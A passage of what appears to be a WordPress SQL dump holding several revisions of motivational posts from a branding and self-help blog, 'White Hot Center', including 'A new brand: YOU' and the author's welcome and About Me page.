Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-2', '', '', '2009-04-04 16:54:50', '2009-04-04 23:54:50', '', 14, 'http://www.whitehotcenter.com/14-revision-2/', 0, 'revision', '', 0),
(287, 2, '2009-06-24 18:07:18', '2009-06-25 01:07:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="320" height="204" /></a>\r\n<h2>With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2><span style="color: #ff6600;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</span></h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-3', '', '', '2009-06-24 18:07:18', '2009-06-25 01:07:18', '', 14, 'http://www.whitehotcenter.com/14-revision-3/', 0, 'revision', '', 0),
(288, 2, '2009-06-24 13:16:53', '2009-06-24 20:16:53', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far is from Bob Dylan: "A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".  Pretty simple...</span>\r\n\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success and sharing that insight with you here. It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality.  You are surrounded by  possibility and potential.  I want to keep you inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. As you think, so it is. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-24 13:16:53', '2009-06-24 20:16:53', '', 172, 'http://www.whitehotcenter.com/172-revision-33/', 0, 'revision', '', 0),
(289, 2, '2009-06-29 17:08:22', '2009-06-30 00:08:22', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I have heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;"><strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do". </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I like the simplicity of that. When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I am a  creative entrepreneur. I want to play big and make a difference. I also believe that our great work and value to the world is best expressed through the value of our businesses. This site is one expression of that idea. So, like two friends walking the same road, it is my intention that we begin a conversation about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philsophy.\r\n\r\nAs curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success and sharing that insight with you here on the White Hot Center blog. It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are a powerful creator of your reality.  You are surrounded by possibility and potential.  As you think, so it is. All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success as you really want! Doing whatver it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well.  Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nFor creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide guidance and strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about in the Consulting Section of the site.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 17:08:22', '2009-06-30 00:08:22', '', 172, 'http://www.whitehotcenter.com/172-revision-34/', 0, 'revision', '', 0),
(290, 2, '2009-06-29 17:27:06', '2009-06-30 00:27:06', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I have heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;"><strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do". </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I like the simplicity of that. When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the White Hot Center blog. To contribute your greatness to the world, you must recognize you are a powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything for the better. You are surrounded at all times by unlimited  possibility and potential.  As you think, so it is. All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nFor creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide guidance and strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about this in the Consulting Section of the site.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 17:27:06', '2009-06-30 00:27:06', '', 172, 'http://www.whitehotcenter.com/172-revision-35/', 0, 'revision', '', 0),
(291, 2, '2009-06-29 17:37:33', '2009-06-30 00:37:33', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;"><strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do". </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. To contribute your greatness to the world, you must recognize you are the powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything in your life for the better. You are surrounded at all times by unlimited possibility and potential.  As you think, so it is.  All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nFor creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide  a deeper level of guidance and strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 17:37:33', '2009-06-30 00:37:33', '', 172, 'http://www.whitehotcenter.com/172-revision-36/', 0, 'revision', '', 0),
(292, 2, '2009-06-29 17:44:18', '2009-06-30 00:44:18', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><strong><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></strong></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;"><strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do". </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a creative entrepreneur all my adult life. For over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my continuing work in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the WHC serves as a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.</span></strong></h2>\r\nFrom this experience, I am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. To contribute your greatness to the world, you must recognize you are the powerful creator of your reality.  It doesn''t matter what your current circumstances are now–you can change everything in your life for the better. You are surrounded at all times by unlimited possibility and potential.  As you think, so it is.  All life''s circumstances are the result of the source thinking behind them.\r\n\r\nI want to keep you inspired to create the business and life success you really want! Doing whatever it is that brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\n<strong>For creative entrepreneurs, professionals and organizations, I offer on-going consulting packages and information products that provide  a deeper level of guidance and strategies to help you grow your business and increase your influence and contribution to the world. You can learn more about my services in the Consulting Section of the site.</strong>\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-29 17:44:18', '2009-06-30 00:44:18', '', 172, 'http://www.whitehotcenter.com/172-revision-37/', 0, 'revision', '', 0);
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(293, 2, '2009-06-29 17:45:04', '2009-06-30 00:45:04', '<img class="size-full wp-image-237 alignnone" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />\r\n<h2><span style="color: #696969;"><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n\r\n<span style="color: #696969;">I love the simplicity of that!  When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many creative entrepreneurs I work with agree are worthwhile pursuing:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the creative work that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that our great work and highest value to the world is best expressed through the venue of our businesses. The desire to grow and expand is our truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your 